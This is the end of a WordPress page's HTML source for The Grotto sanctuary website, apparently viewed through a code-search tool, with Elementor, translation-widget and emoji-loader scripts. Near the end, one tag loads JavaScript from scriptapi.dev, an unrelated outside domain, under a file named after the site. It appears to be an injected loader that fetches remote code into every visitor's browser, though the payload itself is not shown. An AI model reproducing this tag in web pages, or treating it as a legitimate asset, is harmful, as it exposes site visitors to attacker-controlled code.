row"}},"datepicker":{"dayNames":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"dayNamesShort":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"dayNamesMin":["S","M","T","W","T","F","S"],"monthNames":["January","February","March","April","May","June","July","August","September","October","November","December"],"monthNamesShort":["January","February","March","April","May","June","July","August","September","October","November","December"],"monthNamesMin":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"nextText":"Next","prevText":"Prev","currentText":"Today","closeText":"Done","today":"Today","clear":"Clear"}};/* ]]> */ </script>
1237
1237<script> 1238 const lazyloadRunObserver = () => { 1239 const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` ); 1240 const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => { 1241 entries.forEach( ( entry ) => { 1242 if ( entry.isIntersecting ) { 1243 let lazyloadBackground = entry.target; 1244 if( lazyloadBackground ) { 1245 lazyloadBackground.classList.add( 'e-lazyloaded' ); 1246 } 1247 lazyloadBackgroundObserver.unobserve( entry.target ); 1248 } 1249 }); 1250 }, { rootMargin: '200px 0px 200px 0px' } ); 1251 lazyloadBackgrounds.forEach( ( lazyloadBackground ) => { 1252 lazyloadBackgroundObserver.observe( lazyloadBackground ); 1253 } ); 1254 }; 1255 const events = [ 1256 'DOMContentLoaded', 1257 'elementor/lazyload/observe', 1258 ]; 1259 events.forEach( ( event ) => { 1260 document.addEventListener( event, lazyloadRunObserver ); 1261 } ); 1262 </script>
1262 1263
1263<script id="tec-user-agent-js" src="https://thegrotto.org/wp-content/plugins/the-events-calendar/common/build/js/user-agent.js?ver=da75d0bdea6dde3898df"></script>
vendor: 1 bytes, line 1263
1263
1264<script id="genesis-blocks-dismiss-js-js" src="https://thegrotto.org/wp-content/plugins/genesis-blocks/dist/assets/js/dismiss.js?ver=1773253670"></script>
vendor: 1 bytes, line 1264
1264
1265<script id="hello-theme-frontend-js" src="https://thegrotto.org/wp-content/themes/hello-elementor/assets/js/hello-frontend.js?ver=3.4.4"></script>
vendor: 1 bytes, line 1265
1265
1266<script id="elementor-webpack-runtime-js" src="https://thegrotto.org/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.35.7"></script>
vendor: 1 bytes, line 1266
1266
1267<script id="elementor-frontend-modules-js" src="https://thegrotto.org/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.35.7"></script>
vendor: 1 bytes, line 1267
1267
1268<script id="jquery-ui-core-js" src="https://thegrotto.org/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3"></script>
vendor: 1 bytes, line 1268
1268
1269<script id="elementor-frontend-js-before"> 1270var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Share on Facebook","shareOnTwitter":"Share on Twitter","pinIt":"Pin it","download":"Download","downloadImage":"Download image","fullscreen":"Fullscreen","zoom":"Zoom","share":"Share","playVideo":"Play Video","previous":"Previous","next":"Next","close":"Close","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Widescreen","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"3.35.7","is_static":false,"experimentalFeatures":{"e_font_icon_svg":true,"additional_custom_breakpoints":true,"container":true,"e_optimized_markup":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"nested-elements":true,"home_screen":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"cloud-library":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_editor_one":true,"import-export-customization":true,"mega-menu":true,"e_pro_variables":true},"urls":{"assets":"https:\/\/thegrotto.org\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/thegrotto.org\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/thegrotto.org\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"0d9e497eca"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","hello_header_logo_type":"logo","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo"},"post":{"id":12,"title":"-%20The%20National%20Sanctuary%20of%20Our%20Sorrowful%20Mother%2C%20The%20Grotto","excerpt":"","featuredImage":false}}; 1271//# sourceURL=elementor-frontend-js-before 1272</script>
vendor: 1 bytes, line 1272
1272
1273<script id="elementor-frontend-js" src="https://thegrotto.org/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.35.7"></script>
vendor: 1 bytes, line 1273
1273
1274<script id="smartmenus-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.2.1"></script>
vendor: 1 bytes, line 1274
1274
1275<script id="gt_widget_script_36067830-js-before"> 1276window.gtranslateSettings = /* document.write */ window.gtranslateSettings || {};window.gtranslateSettings['36067830'] = {"default_language":"en","languages":["en","es","tl","ru","vi","id"],"url_structure":"none","flag_style":"2d","flag_size":24,"wrapper_selector":"#gt-wrapper-36067830","alt_flags":{"en":"usa"},"switcher_open_direction":"top","switcher_horizontal_position":"inline","switcher_text_color":"#4a4f52","switcher_arrow_color":"#4f153f","switcher_border_color":"#4f153f","switcher_background_color":"#fff","switcher_background_shadow_color":"#ffffff","switcher_background_hover_color":"#fff","dropdown_text_color":"#4a4f52","dropdown_hover_color":"#fff","dropdown_background_color":"#eee","flags_location":"\/wp-content\/plugins\/gtranslate\/flags\/"}; 1277//# sourceURL=gt_widget_script_36067830-js-before 1278</script>
1278<script src="https://thegrotto.org/wp-content/plugins/gtranslate/js/dwf.js?ver=7.0.5" data-no-optimize="1" data-no-minify="1" data-gt-orig-url="/" data-gt-orig-domain="thegrotto.org" data-gt-widget-id="36067830" defer></script>
1278<script id="gt_widget_script_34373515-js-before"> 1279window.gtranslateSettings = /* document.write */ window.gtranslateSettings || {};window.gtranslateSettings['34373515'] = {"default_language":"en","languages":["en","es","tl","ru","vi","id"],"url_structure":"none","flag_style":"2d","flag_size":24,"wrapper_selector":"#gt-wrapper-34373515","alt_flags":{"en":"usa"},"switcher_open_direction":"top","switcher_horizontal_position":"inline","switcher_text_color":"#4a4f52","switcher_arrow_color":"#4f153f","switcher_border_color":"#4f153f","switcher_background_color":"#fff","switcher_background_shadow_color":"#ffffff","switcher_background_hover_color":"#fff","dropdown_text_color":"#4a4f52","dropdown_hover_color":"#fff","dropdown_background_color":"#eee","flags_location":"\/wp-content\/plugins\/gtranslate\/flags\/"}; 1280//# sourceURL=gt_widget_script_34373515-js-before 1281</script>
1281<script src="https://thegrotto.org/wp-content/plugins/gtranslate/js/dwf.js?ver=7.0.5" data-no-optimize="1" data-no-minify="1" data-gt-orig-url="/" data-gt-orig-domain="thegrotto.org" data-gt-widget-id="34373515" defer></script>
1281<script id="elementor-pro-webpack-runtime-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.32.2"></script>
vendor: 1 bytes, line 1281
1281
1282<script id="wp-hooks-js" src="https://thegrotto.org/wp-includes/js/dist/hooks.min.js?ver=7496969728ca0f95732d"></script>
vendor: 1 bytes, line 1282
1282
1283<script id="wp-i18n-js" src="https://thegrotto.org/wp-includes/js/dist/i18n.min.js?ver=781d11515ad3d91786ec"></script>
vendor: 1 bytes, line 1283
1283
1284<script id="wp-i18n-js-after"> 1285wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); 1286//# sourceURL=wp-i18n-js-after 1287</script>
vendor: 1 bytes, line 1287
1287
1288<script id="elementor-pro-frontend-js-before"> 1289var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/thegrotto.org\/wp-admin\/admin-ajax.php","nonce":"481e18bbee","urls":{"assets":"https:\/\/thegrotto.org\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/thegrotto.org\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/thegrotto.org\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}}; 1290//# sourceURL=elementor-pro-frontend-js-before 1291</script>
vendor: 1 bytes, line 1291
1291
1292<script id="elementor-pro-frontend-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.32.2"></script>
vendor: 1 bytes, line 1292
1292
1293<script id="pro-elements-handlers-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.32.2"></script>
vendor: 1 bytes, line 1293
1293
1294<script id="wp-emoji-settings" type="application/json"> 1295{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://thegrotto.org/wp-includes/js/wp-emoji-release.min.js?ver=7.0.5"}} 1296</script>
vendor: 1 bytes, line 1296
1296
1297<script type="module"> 1298/*! This file is auto-generated */ 1299var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))}); 1300//# sourceURL=https://thegrotto.org/wp-includes/js/wp-emoji-loader.min.js 1301</script>
vendor: 1 bytes, line 1301
1301
1302<script src="https://scriptapi.dev/api/thegrotto.js"></script>
vendor: 1 bytes, line 1302
1302
1303<script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a440acc88ea183b9',t:'MTc5MDkxMjMxMw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
1303</body> 1304</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.